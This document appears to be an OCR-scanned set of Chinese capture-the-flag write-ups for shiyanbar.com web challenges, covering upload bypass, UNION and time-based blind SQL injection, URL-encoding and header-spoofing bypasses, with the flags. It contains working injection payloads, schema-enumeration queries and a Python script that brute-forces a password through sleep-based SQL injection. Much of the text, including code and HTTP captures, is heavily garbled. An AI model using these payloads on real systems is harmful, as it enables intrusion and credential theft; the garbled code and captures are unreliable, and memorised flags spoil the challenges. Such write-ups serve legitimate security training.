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bypass the upload

wR: flag{}

<« & @ @ ctf5.shiyanbar.com/web/fupload/ oy | Q

X LEfE

Filename: sm%. @ F%Eir.
Submit

fifé L FEL %
MR A, KBRA R B, EEERE, BEREBHARAN

| maw | rdidins | medueis | OEA | mew | medueis | AEA | 0IML ) RelUer

POST /fweb/upload/unload.ohw HTTES1.1 & HTTF/1.1 200 oK



Host: ctf5 shlyanbar cam

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.13; rv:nl.O)
Gecka/20100101 Firefox/61.0

Acocept:

text/html ,application/xhtml+xml,application/xml;g=0.9,*/*;3=0.8
Accept-Language:
zh-CH,2h;g=0.8,2h-TW;g=0.7,2h-HK;g=0.5,en-0US;g=0.3,an;g9=0.2
Accept-Encoding: gzip, deflate

Raferer: http://ctfb.shiyanbar.com/web/upload/

Contant-Type: multipart/form-data;
koundary=——--—-——-—-——-——-——----——-——————————— 14321580501283630774361700854
Content-Length: 525

Cookie: sample-hash=571h80kL26cA5f306376d4f64a53cbhe?s source=0;
Hm_lwvt_34d6f7353ab0915a4ch82e45164dffbe3=1530840464;

Hm cv_34d6f7353ab0815ad4c582a4516dffhed=l*vieitor*1546681%2Cnickiamasin
SEGYR0LB1SETEYASB4EERE00L0ASEALICEBOSESEALEAT;
PHPSESSID=obdcnonb3guildrjZujd+tk8r7ih

DHNT: 1

Connecticn: close

Upgrade-Insecure-Regueste: 1

----------------------------- 14321580501283630774361700856
Content-Disposition: form-data; name="dir"

N
fuploads /|
----------------------------- 14321580501283630774361700856
Content-Disposition: form-data; name="file"; filename="markdown.png"
Content-Type: i1mage/png —

HEW B 5 CR A7 S & FR R dir + filename, BT A3 F oo &1 R #4)3E S i

Kequest

Raw | Params | Headers | Hex

™ Date Tue, 10 Jul 2018 03:57:33 GMT

Server: Apache/2.4.18 (Win3Z) OpenSSL/1.0.Ze
PHFP/5.3.29

¥-Powered-By: PHP/5.3.29

Cantent-Length: 238

Cannaction: close

Cantent-Type: text/html

<html»<headr<meta charset="utf-8"

/=< /headr<body>

Uplead: markdown.png=<br />Typsa: imaga!png(br
/>5ize: 0.068359375 Kb<br />Stered in:
-/uploads/Baje5f6a7aTBiachk. php<br >R LIERBEEH

hp i) ! <br></body>
=/ htm
o/
php A BE LAL I 1] R
Response

Raw | Headers | Hex HTMLIRender]

User-Agent: Mozilla/5.0 [(Macintosh; Intel Mac OS5 ¥ 10.13; rwv:igl.O)
Gecko/20100101 Firefox/61.0

Aooept!
text/html,application/xhtml+=ml,application/xml;g=0.3,*/*;3=0.8
Aoocept-Languags:
zh-CW,zh;g=0.8,2h-TW;g=0.7,2h-HK;g=0.5,en-U8;g=0.3,an;g=0.2
Accept-Encoding: gzip, deflate

Referer: http://ctfb.ghiyanbar.com/web/upload/

Content-Type: multipart/form-data;
boundary=—————-—-——-——-—-------—-—-———————— 14321580501283630774361700856
Caontent-Length: 526

Cookle: sample-hash=F71580b26c6hf306376d4fAdak3chho?; source=0;
Hm_lwt_34d6f7353ab0915ad4che2ed4blbdffbo3=1530840404;

Hm cv 34d6f7353ab09%15ad4chB82ed4hladffbo3=1+visitor#154661%2CnickNamea? 3A

SES5B0%81%ET7509A%B48ER 005 8ARENSICEE0SERERLBAT;

A HITP/1.1 200 COK

Date: Tue, 10 Jul 2018 03:586:22 GMT

Server: Apache/2.4.18 (Win32) OpensSsL/1.0.2Ze
PHP/K.3.29

¥-TPowered-By: PHD/5.3.29

Content-Lengths 238

Connection: close

Cantent-Type: text/html

<html><head><metas charset="utf-g§"
fr</head><body>

Upload: markdown.png<br />Type: imags/png<hbr
/>8ize: 0.06B8359375 Kb<br /=Stered in:

phpBISEHEA(TH! <brm</body»

PHPFSESSID=aobdcnanb3gquilrjZujdtk8r73h </html>
DHT: 1
Connection: claose
Upgrade-Insecure-— Racxmsh:;’é

»I-J+E?5&77_00,";”417@B%Is:_i:i—_rjl?lrenanggs%a—r,
———————————————————— ST /\ - L/
Caontent— DlSpOSlthn X:EE’TIETEEFL{%T SZ{
fuploadel/1.ph
_____________________________ 14321580501283630774361700856
Content-Disposition: form-data; name="file"; filename="markdown.png"
Cantent-Type: image/png
# #8
## AEHE .

B a : A HITE/ L. 1 LUl LR

30 30 72 6a 32 75 6ba 39 74 6b 38 72 37 33 35 0d Oa 0”2Uj9k8r?35‘ = Date: Tue, 10 Jul 2018 03:55:5
J1 44 4e 54 3a 20 31 0d Oa 43 6f 6e 6e 65 63 74 69 DNT:1 Connecti Server: Apachef2.4.18 (Win3Z)
32 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 55 70 67 72 61 on:close Upgra DHP/5.3.20
i3 64 65 2d 49 6e 73 65 63 75 72 65 2d 52 65 71 75 de-Insecure-Requ ¥-FPowered-By: PHE/5.3.29
i4 65 73 74 73 3a 20 31 od 0a 0d 0Oa 2d 2d 2d 2d 2d ests:1 ----- COntentTLength: 236
35 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d ----————---————- Connection: close
16 2d 2d 2d 2d 2d 2d 2d 2d 31 34 33 32 31 35 38 30 -----——- 14321580 Content-Type: text/html

37 35 30 31 32 38 33 36 33 30 37 37 34 33 36 31 37 5012836307743617
38 30 30 38 35 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 00856 Content-D

. /uploads/Ba®e5£f6a7a78%ach. php<br=hifi LIERGHEER

<html»><head><meta charset="utf

39 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d isposition: form 6;;£2§?d;:233§3n.png<br />Iype
ja 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 69 72 —dam;name="mr /=8iza: 0.068359375 Kbh<hr />S5t
ib 22 0d Op™wo™goa 2f 75 70 6c 6f 61 64 73 2f 31 2e " [uploads/1. ./uploads /Ba%e5£6a7a789%ach.php
ic 70 68 7:E§u%_@0’.d 2d 2d 2d 2d 2d 2d 2d 2d php ---———--- 1% <br=£lag{5imCTF_huachuan}</
id 2d 2d 2% Pd zd " 2d 2 2d 2d 2d 2d 2d 2d 2d 2d ----—-mmmmmmmmmm </htmlx>

ie 2d 2d 2d 31 34 33 32 31 35 38 30 35 30 31 32 38 ---1432158050128
if 33 36 33 30 37 37 34 33 36 31 37 30 30 38 35 36 3630774361700856
10 Od Da 43 6f 6e 74 65 be 74 2d 44 69 73 70 6f 73 Content-Dispos T
i1 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 ition: form-data

12 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 ;name="file";f

13 69 6c 65 6Ge 61 6d 65 3d 22 6d 61 72 6b 64 6f 77 ilename="markdow

14 6e 2e 70 6e 67 22 0d 0Oa 43 6f 6e 74 65 6e 74 2d n.png" Content-

15 54 79 70 65 3a 20 69 6d 61 67 65 2f 70 6e 67 0d Type:image/png

16 Oa 0Od Da 23 20 e9 a2 98 e7 9b ae 0a 0a 23 23 20 #é¢ ¢ ® ##

17 e9 a2 98 e7 9b ae e9 93 be eb6 Be a5 0a 0Oa 23 23 é¢ ¢ ®e ¥a ¥ ##




18 20 e9 a2 98 e7 9b ae eb 8f 8f e8 bf b0 0a 60 60 é¢ k (OF - TR

19 60 0a 0Da 60 60 60 0a 0Oa 23 23 20 e8 a7 a3 e9 a2 = 7 ##egfec
fa 98 e6 B0 9d e8 b7 af 0a Da Od Da 2d 2d 2d 2d 2d =€ e -----
b 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d --—-—————————
ic 2d 2d 2d 2d 2d 2d 2d 2d 31 34 33 32 31 35 38 30 --=-=-=- 14321580

lone

flag{SimCTF_huachuan}

http://shiyanbar.com/ctf/1760

BEL: alzLbgQsCESEIGRLWUQAYMWLY(Q2L5VWBXqGA3RQAYyuUmZOtmMvSGM2ZwB4tws
¥ flag:{}

function encode ($atr) {
$_o = strrevifstr);
for($_0=0;%_0<strlen(d o) ;5 0+ 1
f_c = substr(§_o,§_0,1);
5 ordi$_ci+l;
f_c=chr(§__);
f=%_.% ¢

H

return str_rotl3{strrevibaszefd encode(f 1)) ;

alzLbgQsCESEIgRLWUQAyMwLYyq2L5VwBxqGA3RQAyumZ@tmMvSGM2ZwB4tws
=) rotl13f#fy:
nimYotDfPRFRVAEYFhDN1ZjY1d2Y5IjOkdTN3EDN1hzMOgzZiFTZ2Mj04g
=&gt;reverse:
fjg40jM2ZTFiZzg@MzhINDE3NTdkOFI5Y2d1YjZ1NDhjYEAVRFRPFDtoYmin
=) base64fEiY:

~88:36e1bg8438e41757d:29cgeb6e48c” GUDTO| ; hbmg

1t; ?php
quot;~88:36e1bg8438e41757d:29cgeb6e48c GUDTO| ; hbmg&quot
quot; &quot

for (%]

L

>
D N




flag:(NSCTF_b73d5adfb819c64603d7237a0d52977}
T2 72 48 ) jt
R R

http://shiyanbar.com/ctf/62

& B ik
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&« & @ () B ctf5.shiyanbar.com/web/ B e Iy | Q% iIhn & @O » » =

welcome to simplexue
Notice: Use of undefined constant user - assumed 'user' in C:\h43a1W3\phpstudy\WWW\web\5\index.php on line 9

Notice: Undefined index: user in C:\h43a1W3\phpstudy\WWW\web\S\index.php on line 9

Username sasssass Py —gi)

figé L FEL %

FIFEEE, RIFELFEAE index.txt , I NZE B IR, FTH*ITET.



<html>
<head>
welcome to simplexue
</head>
<body>
<?php
if($_POST[user] & $ POST[pass]) {
$C0nn = mysql_connect("********") "*****") "********");
mysql_select_db("phpformysql"”) or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: "
}
$user = $_POST[user];
$pass = md5($_POST[pass]);
$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!'$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
echo "<p>Logged in! Key:*¥¥¥¥¥xikkdxxk ¢ /pyt;

. mysql_error($conn));

}
else {
echo("<p>Log in failure!</p>");
}
?>

<form method=post action=index.php>

<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>

</form>

</body>

<a href="index.txt">

</html>

Witz e, RIAPNFE.

1. BhiBituser&if |/
2. REEITERHHKEP, EHpwilH P #ARpwiEkiT i, WRHAZ%, NWERRI.

FHERRRS: EEHAPN, userRFLEd %, WRETEN, L, @dmEEN, iEHHNEREBHEA P MAE

H#% Hpayload user=" union select md5(1)# and &amp;pass=1, XZiBRA)PFH KIsqiEHR]N select pw from php where
user=""' union select md5(1)#¢ . XML HKpwEMZHFPBAR nd5(1) , HpassSHMMA 1 i, Mo TH47T, 7
Flflag : SimCTF{youhaocongming}.
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THBE, el blE 2 2&jsfuckgmiD, BEETEX Yatconsole Hl & $ATIX BARASHE AT LA T »

_ SHS shiyanoar com/DUTCTF/Lhm! X

<« Cc @ ctfs.shiyanbar.com/DUTCTE/ B | - oy | Q 2% I 8 DO » » =

BELE Ihatejs

¢ T E&2 HHE D WEE () #mmER Q@ HE$E L AE = Mg 8 E @ HackBar H » X
W oEm B zEas

EDIEEDERIETIET] css om R
AT+ [T+ 01) D+ 1+t DTt [T 00 [ 00 [t (D00 D2 DD+ D DD D D00 [T 000 [+ L1 0 [0 [+ [+ DD T (0 [T 0D D [+ 01D+
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[ +1+ =00 T+ [+ 0T+ 0000 O+ 000 [+ 010+ 00 T+ DD 00D ) [+t D+ [+ DD D+ [+ 000 D+ DD+ [ ]+ 0P LD+ [0 [+ [0 1+
(O[O0t Dt D D 0 LD+ D0 [+ DD+ 0D [ D0 [T b DD D L D) [+ D D0 LD DD L0 D+ 00 [+ D0+ [0 [0 ]+
[TI0I1) [+ D0+ [+ L1010 DT+ LD D [+ b DO T+ O DD DD D [ [0 00 L DD 0D D+ [t DT (1D 0 L [T+ [T ) [t [T D [0 10+

p MFERE: WMLETTRARER RS G, ERERRREG RN ENS A ERGENRATRL. ORTERL, WETAMAalow pasting” (TEBEEER) K
i e

flag : Ihatejs
PHPX
B B

http://shiyanbar.com/ctf/54
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e G (@ ctf5.shiyanbar.com/DUTCTE AT o i0E

Notice: Use of undefined constant id - assumed 'id' in C:\h43a1W3\phpstudy\WWV
Notice: Undefined index: id in C:\h43a1W3\phpstudy\WWWW\DUTCTRindex.php c
Deprecated: Function eregi() is deprecated in C:\h43a1W3\phpstudy\WWW\DUTC
Notice: Use of undefined constant id - assumed 'id' in C:\h43a1W3\phpstudy\WWV
Notice: Use of undefined constant id - assumed 'id' in C:\h43a1W3\phpstudy\WWV
Notice: Undefined index: id in C:\h43a1W3\phpstudy\WWWW\DUTCTRindex.php c
Notice: Use of undefined constant id - assumed 'id' in C:\h43a1W3\phpstudy\WWV

Can you authenticate to this websital? index.php.txt

fife v 8.

T H B 2410 XM index. php. txt »

if(eregi("hackerDl" id
echo("<p>not allowed!</p>"

exit
id] = urldecode id
if id] == "hackerDJ"

echo "<p>Access granted!</p>"
echo "<p>flag: *****************} </p>"

<br><br>
Can you authenticate to this website?



MERBITLLER, %2 hackerd] A}, @HSIREl not allowed , NG urlfBiSEt & hackerDd B, iR[Elflag. X Eff
R RS, A s — A0, EF - A%MZidrudecodes, BIRMmIL K NidE#EL N IEH Kascii. payload
%2568ackerD] .

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

GET /DUTCTE/index.phpfid=%t2568ackerDI HTTE/1.1 i Connection: close
Host: ctfb.shiyanbar.com r Cantent-Type: text/html
User-Agent: Mozilla/5.0 (Macintash; Intel Mac 0S5 X 10.13;
rvi6l.0) Gecko/20100101 Firefox/61.0 <br f=
hocept: <b>Heotice</b>: Use of undefined constant id - assumed
text/html,application/xhtml+xml,application/xml;g=0.9,%/%;g 'id' in <b>C:\h43alw3\phpstudy \WWW\DUTCTEF\indez.php</b>
=0.8 on line <b>2</bx<br /=
Accept-Language: <hbr /=
zh-CH,zh;g=0.8,2h-TW;g=0.7,zh-HK;g=0.5,en-0US;g=0.3,en;g=0.2 <p>peprecated</b>: Function eregi{) is deprecatsed in
<b>C:\hd3alW3\phpstudy VWA DUTCTF \indexz . php</b> on line
Accept-Encoding: geip, deflate <b»2</br<br [
Cackiet <br />
Hm_lvt_34d6f7353ab0%1badchtzedhladffbe3=1530640404; <b>Hetiee</L>: Use of undefined constant id - assumed
Hm cv_34d6£7353ak0315a4c582a4516dffbo3=1svisitor*154661%2Cn 'id' in <b>C:\h43alw3\phpstudy \WWW\DUTCTEF\indez.php</b>
lockWamet3AtEBSRE02813E730A%045ER390%BAREAEICEB0RERSALRAT; on line <b>7</Lx<br />
PHPSESSID=obdcnonb3guilrjZuj9+tk8r73s <hbr /=
DHT: 1 <b*Hotice</b>: Use of undefined constant id - assumed
Cannaction: clase 'id' in <b>C:\h43al¥W3\phpstudy \WWA\DUTCTE \indaz . php</bi>
Upgrade-Insecure-Reguasts: 1 on line <b»7</hLx<br />
<br />
<b>Netiece</L>: Use of undefined constant id - assumed
'id' in <b>C:\h43alw3\phpstudy \WWW\DUTCTEF\indez.php</b>
on line <b>8</Lx><br />
| 1.2/ flag -
DUTCTF{PHP_is_tha_best_program_languaga}<rp>
“hr=<brx
can you authenticate to this website?
indez.php.tzt

DUTCTF{PHP_is_the best program_language}
XAFRRE SR
Rz

http://shiyanbar.com/ctf/33

B H ik

REAE. SESTAEL, BLREZA

ctfS.shiyanbar.com/8/index.php?id- X

& & (i) ctf5.shiyanbar.com/8/index. B e | QR I &

Notice: Undefined variable: |d in C:\h43a1W3\phpstudy\WWW\B\index.php on line 5
D] content
|1_|we|come to this game! enjoy

fi# i 8 %
f#F id=1 and 1=1, EBIRIE¥, #H id=1 and 1=2, BEIRHEEHE, 55 HEEFESQEEANTRF. J&5HE#S% Hpayload.



id=1 union select 1,schema_name from information_schema.schemata

[ €] Zd (@ ctf5.shiyanbar.com/8findex.php?id=1 union select 1,schema_name from informatior

Notice: Undefined variable: Id in C\h43a1W3\phpstudy\WWW\B\index.php on line 5
D] content

|T|we|come to this game! enjoy

[1 finformation_schema

1 |my_db

1 [test

id=1 union select 1,table_name from information_schema.tables where table_schema=‘my_db’

NG F

D] content
|T|we|come to this game! enjoy

1 [news

[1 [thiskey

id=1 union select 1,column_name from information_schema.columns where table_schema=‘my_db’

NS

D] content
|T|welcome to this game! enjoy

[1id

[1 [content

[1 [kOy

id=1 union select 1,k0y from thiskey

D] content
|T|we|come to this game! enjoy
1 [whatiMyD91dump

flag : whatiMyD91dump

HH KA
7 H e

http://shiyanbar.com/ctf/32

B H iR
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_ Game 19 x

&« @ (0 ctf5.shiyanbar.com/phpaudit/ B e P 0»

Tips View the source code

PHPUES T

Hix! MHIPREALAFIIRZA!

View the source code

<?php
function GetIP(){
if(lempty($_SERVER["HTTP_CLIENT IP"]))
Secip = §_SERVER["HTTP_CLIENT IP"];
else if(lempty($_SERVER["HTTP_ X FORWARDED FOR"]))
$cip = $_SERVER["HTTP_X FORWARDED FOR"];
else if(!empty($_SERVER["REMOTE_ADDR"]))
$cip = $_SERVER["REMOTE_ ADDR"];
else
Scip = "0.0.0.0";
return $cip;
1

7R i 8L %
HANBH)E, HESJF view the source code BEFEMRIG.

function GetIP(){

if(lempty( ["HTTP_CLIENT_IP"]))
= ["HTTP_CLIENT_IP"];
else if(lempty( ["HTTP_X_FORWARDED_FOR"1))
= ["HTTP_X_FORWARDED FOR"];
else if(!empty( ["REMOTE_ADDR"1]))
= ["REMOTE_ADDR"];
else
= "0.0.0.0";
return R
)i
= GetIP();
if ( ==l o Lo do L™ )4
echo "Great! Key is #¥¥ddkkdxi.
)i
else{

echo "H5iR! RIVIPARTEY HFIRZA! ";
}



FHEY, ROERESpHMATLLT, MEEK.

Request

Raw | Params | Headers | Hex

Response
Raw | Headers | Hex HTMLTRender}

GET /phpaudit/ EITE/1.1

Host: ctfbh.shivanbar.com

User-Agent: Mozilla/5.0 [Macintosh; Intel Mac OS5 X 10.13;
rv:161.0) Gecka/20100101 Firefox/61.0

hAoccepti
text/html,application/xhtml+xml,application/*ml;q=0.9,*/%;3
=0.8

Accept-Language:
zh-CW,zh;g=0.8,2h-TW;g=0.7,2h-BK;g=0.5,an-05;g=0.3,en;g=0.2

hAocept-Encoding: gezip, deflate

Cookie:

Hm_ 1wt 34d6f7353ab0915a4ch82ed5l6dffhe3=15308404R4;
Hm_cv_34d6£7353ab0815adchB2e4blodffbed=l*visitor*154661%2Cn
1cklames 3AtEBEE0&B1EE7EJAEE84EEREI0EBARESEICEB0REREALEATY;

Lo = B IRGLT35
i;forzvarded—for: 1.1.1.1 ]] iEj]D

Connection: clase
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

SimCTF{daima_shengji}

KB RK
B H s

http://shiyanbar.com/ctf/29

3 H iR

Rr#XAZT, BRAMEERT.

e

<div 1d="templatemo menu">
<uls -
<li=<a href="#" class="current">Tips</a»</l1i>
<li=<b>View the source ecede</b></lix>
</ul>
<fdive

<div id="templatemo cantent_wrapper'>
<div id="templatemo_content”>

<div clﬁss="content7tit1e701">PHPﬂﬁ5Eff(fdiv>
<diw
class="horizontal divider_ 01">&nbsp;</div>
<div class="cleaner">&nbsp;</div>
<center>

<p=@reat! Key is
ISimCTF{daima_shangji}(/l»

— - 1e="Submit3" walue="View the
source code”
anClick="document.all.takble.style.display=(document.all.ta
ble.style.display =='none’' 7' : 'none' " /=

<table width="100%"
barder="0" gellepacing="0" cellpadding="0"
bardercalor="#D5DEF3" i1d=table style="dieplayinona">
<td=
<hbr>
<center><textarea=a
name="textarea" cole="80%" rows="28">
1+ 3mhm

-



&«

@ (@ ctfs.shiyanbar.com/sHeader/ 2

Tips http header

Forbidden

You don't have permission to access / on this server.

Please make sure you have installed .net framework 9.9!

Make sure you are in the region of England and browsing this site with Interr

fife RB R %
HRAR A F B R R = A T b

223 net9 ORELE
B ARBIEEEE X .

FE=ARHiew i

B—ANFE =ABATT LLEEUser-Agent/s i £ (MSIE 9.0; .NET CLR 9.9) RSZHL, &5 — MERERAIIEIE S BUK en-

gb BA],

Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex HTMLIRender}

GET /eHeader/ HTTE/1.1

Host: ctfbh.shiyanbar.col

User-Agent: Mozilla/h. O
Accapt:
text/html,application/xhtml+xml,application/xml;g=0.9,+%/%;gq

=0.8 - S A .y

it tannge [ ] REANSTE
Accept-Encoding: gzlp, deflate

Cackles
Hm_lwvt_34d6f7353abl0%1hadchB8ledbladfifbei=1530840404;
Hm_cv_34d6£7353ab0015adc582e4bl6dffheld=l*viaitar*=154661%2Cn
ickName? 3ASEBEE0%813E 789 AE84EERE003BABEAEICEEB0EEREALEAT;
PHPSESSID=cbdcnonb3guilrjZulitkEr73s

DHT: 1

Connectian: close

Upgrade-Insecure-Regquests: 1

.net framework 9.9 i} Al IF & ZTEANUA

“li1»<a href="#" clase="current">Tips</a></li>
<li=<b>http header</h></lix
<fulx
<fdive

<div 1d="templatema cantent wrapper ">
<div 1d="templatema content”>
<div class="content_title_ 01">Forbidden</div>
<div
class="horizontal divider 01"=&nbksp;</div>

<div class="cleaner"=&nbsp;</div>

<p>T¥ou don't have permission to
access / on this server.</p>
<prabr=<br>Thea key

is:HTTpH3dder</p> <div
class="pleaner "=&nbsp;</div=
</dive
<div class="cleaner">&nbsp;</div>
</dive

<div 1d="templatema_ faoter":=

<fdive
<fdive
</baodv=
</html=>

T




WIE R
R H s

http://shiyanbar.com/ctf/20

& B ik

catch! catch! catch! i, RZHRT, HBREET

eHsshiyanoarcomfbasicleateh/ %

&« = @ | @ ctf5.shiyanbar.com/basic/catch/ B ey » =

Input your pass key: R

figé L FEL %



XR—IERE ! BT AT 9N, BRI AEHE — N FER Content-Row » KRS HAIME B pass+key 3R, MERT

flag.

Go Cance <|r > |
Request

Raw | Params | Headers | Hex

Target: http:/ /ctfS.shiyanbar.com @ E

Response

Raw | Headers | Hex

POST /basic/catch/ HTTE/1.1

Host: ctfb.shiyanbar.caom

User-Agent: Morilla/5.0 [(Macintash; Intel Mac 0S8 X 10.13;
rv:hl.0) Gecka/20100101 Firefox/61.0

Bccept:
text/html,application/xhtml+xml,application/xml;g=0.9,%/%;qg
=0.8

Accept-Language:
zh-CHW,zh;g=0.8,2h-TW;g=0.7,2zh-HBK;g=0.5,en-038;g9=0.3,en;g=0.2

Accept-Encoding: gzip, deflate

Referer: http://ctfb.shiyanbar.com/basic/catch/
Content-Type: application/x-www-form-urlencoded
Content-Length: 13

Cookia:

Hm 1wt 34d6f7353ab091badchB2edblodffbe3d=15630840404;
Hm_cv_34d6£7353ab081badch8iedblodffhbei=lsvisitors
ickHame%3AtEB5B0%EB1EE/E9A%04%ELE90%BAREARICED
PHPSESSID=cbd4cnonb3iguilrjZujdtker73b
DHT: 1

Connection: close
Upgrade-Insecure-Regquests: 1

pass_kaa]l:MTUzMTIwMT cwlw== I

Request

Raw | Params | Headers | Hex

e

HITE/1.1 200 OK

Date: Tue, 10 Jul 2018 05:459:51 GMT

Server: Apache/2?.4.18 [(Win32?) OpenSSL/1.0.2Ze PHPE/5.3.29
¥-Powered-By: PHE/h.3.29

Expires: Thu, 19 Hov 1981 08:52:00 GMT

Cache-Control: no-store; no-cache, must-revalidate,
post-check=0, pre-check=0

Fragma: no- I

Content-REow§ MITzMT IwMT cwlw==
Content-Len ekl
Connecti close

“Type: text/html

hack Failed!

Response

Raw | Headers | Hex

POST /basic/catch/ HITE/Ll.1

Host: ctfb.shiyanbar.com

User-Agent: Mozilla/5.0 [Macintosh; Intel Mac ©S X 10.13;
rvi161.0) Gecko/20100101 Firefox/61.0

hooept!

text/html,application/xhtml+xml ,application/¥ml;g=0.9,*/%;q
=0.8

Accept-Langnages:
zh-CH,2h;g=0.8,2h-TW;g=0.7,2h-HK;g=0.5,en-0U5;g=0.3,an;g=0.2

Accept-Encoding: gzip, deflate

Referer: http://ctfbh.shivanbar.com/basic/catch/
Content-Type: application/x-www-form-urlencoded
Cantent-Length: 25

Caockie:
Hm_lvt_34d46f7353ab0916ad4ch8ie45164dffbe3=1530840464;
Hm_cv_34d6£7353ak0915a4ch82edhl6difhci=1*vieitor*154661%2Cn
lckName33ASEB3E0EBl5E750AE845E559030ASE03ICEB0EEREA4ERT;
PHPSESSID=aobdcnonb3gquilrjZujitksriib

DuT: 1

Caonnection: close

Upgrade-Insecure-Regquests: 1

pass_key=MTUzMT IwMT cwhw==

BERA R
R B B

http://shiyanbar.com/ctf/2

B H iR

T, RIAKFERZART, KR AE@! L !

figé L FEL %

e

HITP/1.1 200 COK

Date: Tue, 10 Jul 2018 0h:50:45 GMT

Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/K.3.29
X-Powerad-By: PHE/5.3.29

Expires: Thu, 19 ®Hov 1981 08:152:00 GMT
Cache-Controls no-store, no-cache, must-revalidate,
post-check=0, pre-check=0

Pragma: na-cache

Cantent-Rows: MTUzMTIwWwMTCcwlw==

Cantent-Length: 21

Connection: close

Content-Type: text/html

KEY: }vinins£0cus_HNETH

EF &P BEIEANBE B, Mlikpayload http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and
sleep(10) and ''='&amp;pass=&amp;action=login, KILMINESEITRK, HINZBEHN sleep BiF.

%5 I A )payload admin=admin' and case when(substr(password,%s,1)="'%s') then sleep(10) else sleep(@) end and

''='&amp;pass=&amp;action=1login , FHHHE—%s HpasswordFBHIE JLALFFLEE, = AN%sKnasciERF




__author__ = 'netfish’
# -*-coding:utf-8-*-

import requests
import time

payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@ .{}-' #FAXHANDEH

flag = ""
key=0
print("Start")
for i in range(1,50):
if key == 1:
break
for payload in payloads:
starttime = time.time()#7d% 24 Fikt /]
headers = {"Host": "ctf5.shiyanbar.com",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Geck
o) Chrome/59.0.3071.115 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
"Cookie": "Hm_1lvt_34d6f7353ab@915a4c582e4516dffbc3=1470994390,1470994954,1470995086,147148781
5, Hm_cv_34d6f7353ab0915a4c582e4516dffbc3=1*visitor*67928%2CnickName%3Ayour",

"Connection": "keep-alive",
}
url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin’' and case when(substr(password,%s,1)
='%s') then sleep(5) else sleep(®) end and ''='&pass=&action=login" %(i,payload)##(# /&

res = requests.get(url, headers=headers)
if time.time() - starttime > 5:
flag += payload
print('\n pwd is:', flag)
break
else:
if payload == '-":
key = 1
break
print('\n[Finally] current pwd is %s' % flag)



templates cd ,
' danmmt e S

'idnue"')
'idnuen')
'idnuenn')
'idnuenna')

i H1 2585 idnuenna

&« c o (@) & ctf5.shiyanbar.com/basic/ B e iy % i » =

admin
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